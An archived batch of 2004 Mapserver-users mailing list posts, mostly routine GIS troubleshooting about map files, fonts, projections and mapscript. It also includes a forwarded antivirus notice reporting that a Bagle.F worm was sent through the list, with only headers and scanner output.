Mar 1 09:55:43 2004 From: jbutcher at ci.collierville.tn.us (Jim Butcher) Date: Mon, 01 Mar 2004 11:55:43 -0600 Subject: [Mapserver-users] [Fwd: [virusalert@mail.ci.collierville.tn.us: VIRUS (Worm/Bagle.F) FROM ]] Message-ID: <1078163743.8293.9.camel@stargate> --=-SFt1hQMV6OmNQtq8S1ZA Content-Type: multipart/mixed; boundary="=-3g1RZTpV4/nCjDZBOK+l" --=-3g1RZTpV4/nCjDZBOK+l Content-Type: text/plain Content-Transfer-Encoding: quoted-printable To the list administrator, I don't know what the list administrator can do about this problem. An individual subscriber is unwittingly sending the worm Bagle.F through the list. The traceback information supplied by my SysAdmin is attached. --=20 James H. Butcher, G.G.(GIA) GIS Manager Town of Collierville Division of Planning 500 Poplar View Pkwy Collierville, TN 38017 P: 901-457-2360 F: 901-457-2354 email: jbutcher at ci.collierville.tn.us -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GAT d+ s---:+ a+ C+++ UL++++ P+ L++ E--- W+++ N+ o+ K- w--- O M V PS-- PE++ Y+ PGP++ t++ 5++++ X++ R++ tv++ b++++ DI+++ D++ G e+++ h r y+ ------END GEEK CODE BLOCK------ --=-3g1RZTpV4/nCjDZBOK+l Content-Disposition: inline Content-Description: Forwarded message - [virusalert at mail.ci.collierville.tn.us: VIRUS (Worm/Bagle.F) FROM ] Content-Type: message/rfc822 Return-Path: X-Original-To: jbutcher at ci.collierville.tn.us Delivered-To: jbutcher at ci.collierville.tn.us Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.ci.collierville.tn.us (Postfix) with ESMTP id B809328304 for ; Mon, 1 Mar 2004 10:40:37 -0600 (CST) Received: from mail.ci.collierville.tn.us ([127.0.0.1]) by localhost (mail [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 26363-09 for ; Mon, 1 Mar 2004 10:40:35 -0600 (CST) Received: from tuxbert.ci.collierville.tn.us (kevlar.ci.collierville.tn.us [168.215.127.126]) by mail.ci.collierville.tn.us (Postfix) with ESMTP id 10BA728059 for ; Mon, 1 Mar 2004 10:40:35 -0600 (CST) Received: by tuxbert.ci.collierville.tn.us (Postfix, from userid 1000) id 6A198448023; Mon, 1 Mar 2004 10:53:52 -0600 (CST) Date: Mon, 1 Mar 2004 10:53:52 -0600 From: Don Petrowski To: jbutcher at ci.collierville.tn.us Subject: [virusalert at mail.ci.collierville.tn.us: VIRUS (Worm/Bagle.F) FROM ] Message-ID: <20040301165352.GB14666 at ci.collierville.tn.us> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="hHWLQfXTYDoKhP50" Content-Disposition: inline User-Agent: Mutt/1.5.6i X-Virus-Scanned: by amavisd-new at mail Status: --hHWLQfXTYDoKhP50 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable ----- Forwarded message from virusalert at mail.ci.collierville.tn.us ----- X-Original-To: donski at localhost Delivered-To: donski at localhost.ci.collierville.tn.us X-Original-To: virusalert at mail Delivered-To: compteam at ci.collierville.tn.us Date: Mon, 1 Mar 2004 10:22:30 -0600 (CST) =46rom: virusalert at mail.ci.collierville.tn.us Subject: VIRUS (Worm/Bagle.F) FROM To: virusalert at mail.ci.collierville.tn.us A virus (Worm/Bagle.F) was found. Scanner detecting a virus: H+BEDV AntiVir or CentralCommand Vexira Antivirus The mail originated from: According to the 'Received:' trace, the message originated at: khendricksb ([198.3.82.101]) =20 The message WAS NOT delivered to: : 550 5.7.1 Message content rejected, id=3D25394-05 - VIRUS: Worm/Bagle.F Virus scanner output: Vexira Antivirus / Linux Version 2.2.0-8 Copyright (C) 2002-2004 Central Command, Inc. and/or its suppliers. Portions copyright (C) 1996-2004 H+BEDV Datentechnik GmbH. All rights reserved. =20 Loading /usr/lib/Vexira/vexira.vdf ... =20 VDF version: 6.24.0.29 created 01 Mar 2004 =20 Vexira Antivirus license: 2003000000 for Town of Collierville =20 checking drive/path (list): /var/run/amavis/tmp/amavis-20040301T101754-2= 5394/parts ALERT: [Worm/Bagle.F worm] /var/run/amavis/tmp/amavis-20040301T101754-25= 394/parts/part-00002 <<< Contains signature of the worm Worm/Bagle.F =20 =20 ----- scan results ----- directories: 1 files: 2 alerts: 1 repaired: 0 deleted: 0 renamed: 0 scan time: 00:00:01 ------------------------ Thank you for using Vexira Antivirus! The message has been quarantined as: /var/virusmails ------------------------- BEGIN HEADERS ----------------------------- Return-Path: Received: from lists.gis.umn.edu (lists.gis.umn.edu [128.101.73.109]) by mail.ci.collierville.tn.us (Postfix) with ESMTP id 4AD6A28059 for ; Mon, 1 Mar 2004 10:22:21 -0600 (CST) Received: from lists.gis.umn.edu (localhost [127.0.0.1]) by lists.gis.umn.edu (8.12.10/8.12.10) with ESMTP id i21GMkAP017699; Mon, 1 Mar 2004 10:22:46 -0600 (CST) Received: from khendricksb ([198.3.82.101]) by lists.gis.umn.edu (8.12.10/8.12.10) with SMTP id i21GGqAQ017594 for ; Mon, 1 Mar 2004 10:16:57 -0600 (C= ST) To: mapserver-users at lists.gis.umn.edu =46rom: kames at keyspanenergy.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=3D"--------lldoemeixdgjjmjycago" Subject: [Mapserver-users] Tammy Sender: mapserver-users-admin at lists.gis.umn.edu Errors-To: mapserver-users-admin at lists.gis.umn.edu X-BeenThere: mapserver-users at lists.gis.umn.edu X-Mailman-Version: 2.0.13 Precedence: bulk List-Unsubscribe: , List-Id: Mapserver Users Mailing List (Appropriate for general users) List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon, 01 Mar 2004 10:33:19 -0600 -------------------------- END HEADERS ------------------------------ ----- End forwarded message ----- --=20 Don Petrowski Town of Collierville Network Administrator 500 Poplar View Pkwy Collierville, TN 38017 Phone: (901) 457-2260 Fax: (901) 457-2246 --BEGIN GEEK CODE BLOCK -- Version: 3.12 GIT/IT d- s:++>+ a>? C+$ LS++$ P+>+++ L+++$>++++$ E? W+=20 N++ o? K? w! O? M- V? PS PE Y+(++) PGP++ t+>++ 5+ at +++=20 X+ at +++ R* tv+ b>++ DI++++ D+ G e++>++++ h r+++ y++++=20 -- END GEEK CODE BLOCK -- --hHWLQfXTYDoKhP50 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAQ2qgcCMgncA57gARAo91AKCEIaFmAUt+m69cK62COM846rybpwCdF2tC a2mdF6iSkT/CnXImpcABuvw= =UT+U -----END PGP SIGNATURE----- --hHWLQfXTYDoKhP50-- --=-3g1RZTpV4/nCjDZBOK+l-- --=-SFt1hQMV6OmNQtq8S1ZA Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBAQ3kfmYYXQhPwN5ARAn16AJ9X3vsRp4tYzzeMtnNPuB0/NdKywACfeWLE GUA2wcSdozndOpeByiqlt/M= =+VMG -----END PGP SIGNATURE----- --=-SFt1hQMV6OmNQtq8S1ZA-- From LEllenbecker at co.winnebago.wi.us Mon Mar 1 09:48:14 2004 From: LEllenbecker at co.winnebago.wi.us (Ellenbecker, Larry) Date: Mon, 1 Mar 2004 11:48:14 -0600 Subject: [Mapserver-users] Problem with dbox DHTML displaying layers Message-ID: <34D572D6CF9A2944AF3889CCF910C25607D3B5@wcms1.co.winnebago.wi.us> Hi! I'm having a problem displaying my shapefile layers when trying to us the dbox DHTML interface. I can get the demo to work but cannot get my shapefiles to work unless I reproject the files. Here is what I have found. My shapefiles are in Wisconsin Stateplane NAD83 Southern Zone 4803 (feet). I can get the demo to work with my date if I change the projection to UTM or Nad83 (meters). The map extent for one of my NAD83 (feet) shapefiles would typically be: NAD83 (feet) EXTENT 2198000 675000 2450000 840000 In UTM the extent would be: EXTENT 348550 4860950 387890 4900550 I had come to the conclusion that the JavaScript code that converts the pixel offset to real coordinates for zoom was not able to calculate when the min-x is greater the the min-y. I don't know if this is a cbe issue or if there is some other explanation. I thought about using Proj.4 reprojection but I could only find parameters for State Plane NAD 83 (meters). I don't want to reproject all my shapefiles so for the moment I'm stuck. I would really like to use dbox so any insights into this problem would be greatly appreciated. Regards, Larry L. Ellenbecker Winnebago County WI From siki at agt.bme.hu Mon Mar 1 12:07:29 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Mon, 1 Mar 2004 19:07:29 -0100 (GMT+1) Subject: [Mapserver-users] Help with example error {Scanned} In-Reply-To: <20040301143007.24427.qmail@web14006.mail.yahoo.com> Message-ID: Hello, Did you check the fonts.list file? Are those fonts intalled on your machine? For example arial-bold font is referenced in the map file, there must be a line in the fonts.list file starting with this alias name, and there must be a real font file in the same line. Probably you havn't that font (ttf). You can change the fonts.list. Cheers Zoltan On Mon, 1 Mar 2004, [iso-8859-1] TOH CZ wrote: > When I try to run the tutorials that uses fonts with a > Win32 pre-compiled binary, it always return the follow > errors > > msGetLabelSize(): TrueType Font error. Could not > find/open font > > MAP > NAME EX2.1_ > IMAGETYPE png > EXTENT 201621.496941 -294488.285333 > 1425518.020722 498254.511514 # LAEA > #EXTENT -97.5 41.619778 -82.122902 49.38562 > # Geographic > SIZE 400 300 > SHAPEPATH "data" > SYMBOLSET "symbols/symbols35.sym" > FONTSET "C:/Program Files/Apache > Group/Apache2/htdocs/tutorial/fonts/fonts.list" > > WEB > TEMPLATE 'example2-1.html' > IMAGEPATH '/C:/Program Files/Apache > Group/Apache2/htdocs/tmp/' > IMAGEURL 'C:/Program Files/Apache > Group/Apache2/htdocs/tmp/' > END > > PROJECTION > # This is Lambert Azimuthal Equal-Area projection > for the > # Continental U.S. > # "proj=laea" > # "ellps=clrk66" > # "lat_0=45" > # "lon_0=-100" > # > # Alternatively, you can specify an EPSG code. > # This is the EPSG code for > # Lambert Azimuthal Equal-Area projection for the > U.S. > "init=epsg:2163" > # > END > > # Start of LAYER DEFINITIONS > --------------------------------------------- > LAYER # States polygon layer begins here > NAME states > DATA states_ugl > STATUS OFF > TYPE POLYGON > > PROJECTION > "init=epsg:4326" > END > > CLASSITEM "CLASS" > CLASS > EXPRESSION 'land' > SYMBOL 0 > COLOR 232 232 232 > END > END # States polygon layer ends here > > LAYER # MODIS raster layer begins here > NAME modis > DATA > "raster/mod09a12003161_ugl_ll_idxa.tif" > STATUS DEFAULT > TYPE RASTER > OFFSITE 70 74 66 > > PROJECTION > "init=epsg:4326" > END > END # MODIS raster layer ends here > > LAYER # LandSat WMS map from JPL (or from USGS) > NAME LandSat > TYPE RASTER > OFFSITE 0 0 0 > STATUS OFF > CONNECTIONTYPE WMS > CONNECTION > "http://wms.jpl.nasa.gov/wms.cgi?REQUEST=map&LAYERS=us_landsat7&STYLES=&FORMAT=png&TRANSPARENT=true" > #CONNECTION > "http://gisdata.usgs.net/servlet/com.esri.wms.Esrimap?ServiceName=USGS_WMS_LANDSAT7&VERSION=1.0.0&REQUEST=map&Layers=LANDSAT7&SRS=EPSG:4326&REASPECT=false&Format=png&" > > METADATA > "wms_title" "LandSat" > "wms_name" "us_landsat7" > "wms_server_version" "1.0.0" > "wms_srs" "epsg:4326" > "wms_format" "image/png" > #"wms_title" "US_Landsat7" > # "wms_srs" "epsg:4326" > # "wms_connectiontimeout" "1000" > END > > PROJECTION > "init=epsg:4326" > END > END # LandSat WMS image ends here > > LAYER # Hydrography layer begins here > NAME hydro > TYPE POLYGON > STATUS DEFAULT > DATA hydrop_ugl > > PROJECTION > "init=epsg:4326" > END > > TOLERANCE 3 > CLASSITEM 'FEATURE' > CLASS > NAME 'Lakes' > EXPRESSION /(^B|^C|^L|^R)./ > COLOR 72 64 254 > END # CLASS > CLASS > NAME 'Rivers' > EXPRESSION 'Stream' > COLOR 136 128 255 > END # CLASS > CLASS > NAME 'Wetlands' > EXPRESSION 'Swamp or Marsh' > COLOR 195 252 255 > OUTLINECOLOR 195 252 255 > SYMBOL 'circle' > SIZE 0 > END # CLASS > END # LAYER > > LAYER # ROADS LAYER > NAME cty_roads > GROUP roads > TYPE LINE > STATUS DEFAULT > DATA roads_ugl > MAXSCALE 750000 > > PROJECTION > "init=epsg:4326" > END > > HEADER 'templates/roads_header.html' > FOOTER 'templates/roads_footer.html' > TOLERANCE 5 > CLASSITEM 'CLASS1' > CLASS > NAME 'Minor Arterial Roads' > EXPRESSION '3' > COLOR 165 165 165 > END # CLASS > CLASS > EXPRESSION '4' > COLOR 210 210 210 > END # CLASS > END # ROADS LAYER > > LAYER # state highways begin here > NAME state_hwy > GROUP roads > MAXSCALE 1500000 > STATUS DEFAULT > DATA roads_ugl > TYPE LINE > FILTERITEM 'CLASS1' > FILTER '2' > > CLASS > NAME 'Principal Arterial Roads' > STYLE > COLOR 255 0 0 > SIZE 1 > SYMBOL 'circle' > END > END > > PROJECTION > "init=epsg:4326" > END > END # highways > > LAYER # interstate highways begin here > NAME interstate > GROUP roads > # MAXSCALE 22500000 > STATUS DEFAULT > DATA roads_ugl > TYPE LINE > FILTERITEM 'CLASS1' > FILTER '1' > > CLASS > NAME "Interstate Hwy." > STYLE > COLOR 128 0 0 > # SIZE 2 > # SYMBOL 'circle' > END > END > > PROJECTION > "init=epsg:4326" > END > END # highways > > LAYER # States line layer begins here > NAME states > DATA states_ugl > STATUS DEFAULT > TYPE LINE > > PROJECTION > "init=epsg:4326" > END > > CLASSITEM "CLASS" > CLASS > EXPRESSION 'land' > SYMBOL 'line5' > COLOR 64 64 64 > SIZE 1 > END > END # States line layer ends here > > LAYER > NAME roads_anno > GROUP roads > MAXSCALE 750000 > STATUS DEFAULT > DATA roads_ugl > TYPE ANNOTATION > LABELITEM "SIGN" > CLASSITEM "CLASS1" > CLASS > EXPRESSION "3" > STYLE > COLOR 0 0 0 # dummy color > SYMBOL 'symbols/sthwy.png' > END > LABEL > MINFEATURESIZE 50 > MINDISTANCE 150 > POSITION CC > SIZE TINY > COLOR 0 0 0 > END > END > CLASS > EXPRESSION "2" > STYLE > COLOR 0 0 0 # dummy color > SYMBOL 'symbols/ushwy.png' > END > LABEL > MINFEATURESIZE 50 > MINDISTANCE 150 > POSITION CC > SIZE TINY > COLOR 0 0 0 > END > END > > PROJECTION > "init=epsg:4326" > END > END # highway annotation > > LAYER > NAME roads_anno1 > GROUP roads > STATUS DEFAULT > DATA roads_ugl > TYPE ANNOTATION > LABELITEM "SIGN" > CLASSITEM "CLASS1" > CLASS > EXPRESSION "1" > STYLE > COLOR 0 0 0 # dummy color > SYMBOL 'symbols/interstate.png' > END > LABEL > MINFEATURESIZE 20 > MINDISTANCE 150 > POSITION CC > SIZE TINY > COLOR 255 255 255 > END > END > > PROJECTION > "init=epsg:4326" > END > END > > LAYER # States label layer begins here > NAME states > DATA states_ugl > STATUS DEFAULT > TYPE ANNOTATION > > PROJECTION > "init=epsg:4326" > END > > CLASSITEM "CLASS" > LABELITEM "STATE" > CLASS > EXPRESSION 'land' > COLOR -1 -1 -1 > LABEL > COLOR 132 31 31 > SHADOWCOLOR 218 218 218 > SHADOWSIZE 2 2 > TYPE TRUETYPE > FONT arial-bold SIZE 12 > ANTIALIAS TRUE > POSITION CL > PARTIALS FALSE > MINDISTANCE 300 > BUFFER 0 > END # end of label > END # end of class > END # States label layer ends here > # End of LAYER DEFINITIONS > ------------------------------- > > END # end of map file > > When I remove the TYPE,FONT and SIZE attribute the map > is able to load perfectly but with it it returns the > error > The front file contains everything it needs to load > Can someone help please? > > > > > > ___________________________________________________________ > Yahoo! Messenger - Communicate instantly..."Ping" > your friends today! Download Messenger Now > http://uk.messenger.yahoo.com/download/index.html > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From mh at svaj.dk Mon Mar 1 10:11:14 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Mon, 1 Mar 2004 19:11:14 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: <8ccvw3d2lgpkq34.010320041911@mail.inet.dk> Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From josemariamichia at yahoo.com.ar Mon Mar 1 10:17:19 2004 From: josemariamichia at yahoo.com.ar (=?iso-8859-1?q?Jose=20Maria=20Michia?=) Date: Mon, 1 Mar 2004 15:17:19 -0300 (ART) Subject: [Mapserver-users] Mapscript Java Interface - Compiling error Message-ID: <20040301181719.41214.qmail@web60504.mail.yahoo.com> --0-2090609932-1078165039=:40890 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi! I have obtained this error with a simple java class (only System.loadLibrary("mapscript");): java.lang.UnsatisfiedLinkError: /usr/lib/libmapscript.so: /usr/lib/libmapscript.so: undefined symbol: msSetOutputFormatOption I have folllowed the wiki (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?ObtainingAndInstallingTheSoftware) only for the patches. The gd and swig libraries that I have installed are the correct versions. --------------------------------- ?Busc?s un auto? Encontralo en Yahoo! Autos ?M?s de 4000 clasificados todos los d?as! Usados - 0 km - Vend? el tuyo --0-2090609932-1078165039=:40890 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit
Hi! I have obtained this error with a simple java class (only System.loadLibrary("mapscript");):
 
java.lang.UnsatisfiedLinkError: /usr/lib/libmapscript.so: /usr/lib/libmapscript.so: undefined symbol: msSetOutputFormatOption
 
I have folllowed the wiki (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?ObtainingAndInstallingTheSoftware) only for the patches. The gd and swig libraries that I have installed are the correct versions.
 
 


?Busc?s un auto?
Encontralo en Yahoo! Autos
?M?s de 4000 clasificados todos los d?as!
Usados - 0 km - Vend? el tuyo --0-2090609932-1078165039=:40890-- From sgillies at frii.com Mon Mar 1 10:45:58 2004 From: sgillies at frii.com (Sean Gillies) Date: Mon, 1 Mar 2004 11:45:58 -0700 Subject: [Mapserver-users] Python mapscript users - how do you feel about the module API? Message-ID: Howdy, I've been working on bringing mapscript development documentation up to date so that we have a doc equivalent to the PHP mapscript readme file. During this work I am *constantly* reminded that the names of the mapscript classes are awkward. Well, actually, when I am in a postive state of mind, the names are awkward. When I'm feeling a bit negative, the class names are ****** up. :) IMO, we should have classes named Map, Layer, Class, Image, Layer, Legend, ... these are consistent with established Python style conventions. 'Class' is probably the only awkward name in that list. Instead we have mapObj, LayerObj, ... after a while writing or saying "... mapObj object ..." you start to feel like there's an echo in here ... here. Additionally, having class names that start with lower case fosters confusion between classes and instances. Ruby mapscript has a nice feel to it because SWIGRUBY forces class names to be capitalized. They have MapObj, LayerObj, ... better but still with the obviously redundant *Obj suffix. What do you think about the API? Do you feel strongly one way or the other about class names? cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From fx.gamoy at mapxplore.com Mon Mar 1 14:07:51 2004 From: fx.gamoy at mapxplore.com (FX Gamoy) Date: Mon, 1 Mar 2004 23:07:51 +0100 Subject: [Mapserver-users] problem using symbol circle on polygon feature on linux debian server Message-ID: <000e01c3ffd9$a3eefb00$0102a8c0@polo> This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C3FFE2.052DDF50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable hello everybody i am using a self compiled release of mapserver3.6.3 with php/mapscript = and GD2.0.12, gdal1.1.7 on a debian woody plateform I can't enable any symbol on polygon feature. internal server error -> = premature end of script i ve tried several things.=20 Eveything works fine with outlinecolor (circle,pixmap) but nothing with = color parameter.=20 I can only use symbol O with color parameter... LAYER=20 NAME "th_zone_ac"=20 STATUS ON=20 CONNECTIONTYPE OGR=20 CONNECTION "data/myfile/th_zone_activite.TAB"=20 TYPE POLYGON=20 SIZEUNITS PIXELS=20 TOLERANCE 3=20 TOLERANCEUNITS PIXELS=20 MINSCALE 0=20 MAXSCALE 100000=20 CLASS=20 NAME "zone_ac"=20 TITLE "Zones_ac"=20 SYMBOL "circle"=20 COLOR 192 192 192=20 OUTLINECOLOR 192 192 192=20 SIZE 2=20 MINSIZE 1=20 MAXSIZE 100=20 END=20 END=20 the same thing works fine on window platform=20 Any suggestions thanks fx http://www.mapxplore.com/ ------=_NextPart_000_000B_01C3FFE2.052DDF50 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
hello everybody
i am using a self compiled release of=20 mapserver3.6.3 with php/mapscript and GD2.0.12, gdal1.1.7 on a = debian woody=20 plateform
 
I can't enable  any symbol on polygon feature. internal server error -> = premature end=20 of script
i ve tried several things. =
Eveything works fine with outlinecolor=20 (circle,pixmap) but nothing with color parameter.
I can only use symbol O with color=20 parameter...
 
LAYER=20
          NAME = "th_zone_ac"=20
         STATUS ON=20
          = CONNECTIONTYPE OGR=20
         CONNECTION=20 "data/myfile/th_zone_activite.TAB"=20
          TYPE POLYGON=20
          SIZEUNITS=20 PIXELS 
         TOL= ERANCE=20 3
          = TOLERANCEUNITS=20 PIXELS
          = MINSCALE 0=20
          MAXSCALE=20 100000 
         &nb= sp;        CLASS=20
            = NAME=20 "zone_ac" =
           =20 TITLE "Zones_ac"=20
           SYMBOL = "circle"=20
            = COLOR 192=20 192 192 =
           =20 OUTLINECOLOR 192 192 192=20
            = SIZE 2=20
            = MINSIZE 1=20
            = MAXSIZE=20 100 
     END
  END =
 
the same thing works fine on window = platform=20
Any suggestions
thanks
fx
http://www.mapxplore.com/
 
------=_NextPart_000_000B_01C3FFE2.052DDF50-- From steve.lime at dnr.state.mn.us Mon Mar 1 15:43:13 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 01 Mar 2004 17:43:13 -0600 Subject: [Mapserver-users] Problem with dbox DHTML displaying layers Message-ID: Are you using the mapserv.js code as well or just dbox.js? There's nothing (that I'm aware of) in the javascript that would care about the issue you mention. Mapserv.js does assume you're using meters but that can be overridden. There is a global javascript variable called InchesPerMapUnit that you need to set correctly if not using meters. For feet you'd set it to 12. If you're setting minscale/maxscale with mapserv.js then this may be the problem. Let me know if not. Steve >>> "Ellenbecker, Larry" 3/1/2004 11:48:14 AM >>> Hi! I'm having a problem displaying my shapefile layers when trying to us the dbox DHTML interface. I can get the demo to work but cannot get my shapefiles to work unless I reproject the files. Here is what I have found. My shapefiles are in Wisconsin Stateplane NAD83 Southern Zone 4803 (feet). I can get the demo to work with my date if I change the projection to UTM or Nad83 (meters). The map extent for one of my NAD83 (feet) shapefiles would typically be: NAD83 (feet) EXTENT 2198000 675000 2450000 840000 In UTM the extent would be: EXTENT 348550 4860950 387890 4900550 I had come to the conclusion that the JavaScript code that converts the pixel offset to real coordinates for zoom was not able to calculate when the min-x is greater the the min-y. I don't know if this is a cbe issue or if there is some other explanation. I thought about using Proj.4 reprojection but I could only find parameters for State Plane NAD 83 (meters). I don't want to reproject all my shapefiles so for the moment I'm stuck. I would really like to use dbox so any insights into this problem would be greatly appreciated. Regards, Larry L. Ellenbecker Winnebago County WI _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Mon Mar 1 15:47:35 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 01 Mar 2004 17:47:35 -0600 Subject: [Mapserver-users] Mouse Over Message-ID: The searchmap stuff is inherently CGI. Since with MapScript you're essentially writing your own custom CGI you'd have to code it yourself. It's not hard, you just compute the extent of next image BEFORE doing the query. I thought templates can be accessed via MapScript but I may be wrong. If not, then they should be. Steve >>> "Charlton Purvis" 2/28/2004 2:04:40 PM >>> Hi, Steve: Is this ASCII querymap output available only via cgi? I know that PHP is the DM shop, but I was wondering if the magic you're working w/ the nquery/searchmap cgi calls is something inherently PHP. Thanks, Charlton _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From cz_toh at yahoo.com Mon Mar 1 15:56:09 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Mon, 1 Mar 2004 23:56:09 +0000 (GMT) Subject: [Mapserver-users] Help with example error In-Reply-To: Message-ID: <20040301235609.75306.qmail@web14007.mail.yahoo.com> I have done this to the fonts.list file andale-mono C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\andalemo.ttf arial C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arial.ttf arial-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arialbd.ttf arial-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\ariali.ttf arial-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arialbi.ttf arial_black C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\ariblk.ttf arial_narrow C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arialn.ttf arial_narrow-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arialnb.ttf arial_narrow-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arialni.ttf arial_narrow-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arialnbi.ttf comic_sans C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\comic.ttf comic_sans-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\comicbd.ttf courier C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\cour.ttf courier-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\courbd.ttf courier-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\couri.ttf courier-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\courbi.ttf georgia C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\georgia.ttf georgia-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\georgiab.ttf georgia-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\georgiai.ttf georgia-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\georgiaz.ttf impact C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\impact.ttf tahoma C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\tahoma.ttf tahoma-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\tahomabd.ttf times C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\times.ttf times-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\timesbd.ttf times-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\timesi.ttf times-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\timesbi.ttf trebuchet_ms C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\trebuc.ttf trebuchet_ms-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\trebucbd.ttf trebuchet_ms-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\trebucit.ttf trebuchet_ms-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\trebucbi.ttf verdana C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\verdana.ttf verdana-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\verdanab.ttf verdana-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\verdanai.ttf verdana-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\verdanaz.ttf I have referenced every font to the apporiate directory which was unzipped from the tutorial but I still have the same error Do I need to copy the fonts somewhere else other than the one I referenced? ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From siki at agt.bme.hu Tue Mar 2 00:48:00 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Tue, 2 Mar 2004 07:48:00 -0100 (GMT+1) Subject: [Mapserver-users] Help with example error {Scanned} In-Reply-To: <20040301235609.75306.qmail@web14007.mail.yahoo.com> Message-ID: Hi, On Mon, 1 Mar 2004, [iso-8859-1] TOH CZ wrote: > I have done this to the fonts.list file > > andale-mono C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\andalemo.ttf Do the ttf files exist? I think you should use / (slash) instead of \ (backslach). I have / in my font list. I think you should use "....ttf" around file names having space in the path or file name. Few line from my fonts.list file: arial c:/windows/fonts/arail.ttf arialbd c:/windows/fonts/arailbd.ttf ariali c:/windows/fonts/araili.ttf I hope this helps you. Zoltan > arial C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arial.ttf > arial-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arialbd.ttf > arial-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\ariali.ttf > arial-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arialbi.ttf > arial_black C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\ariblk.ttf > arial_narrow C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arialn.ttf > arial_narrow-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arialnb.ttf > arial_narrow-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arialni.ttf > arial_narrow-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arialnbi.ttf > comic_sans C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\comic.ttf > comic_sans-bold C:\Program > Files\Apache > 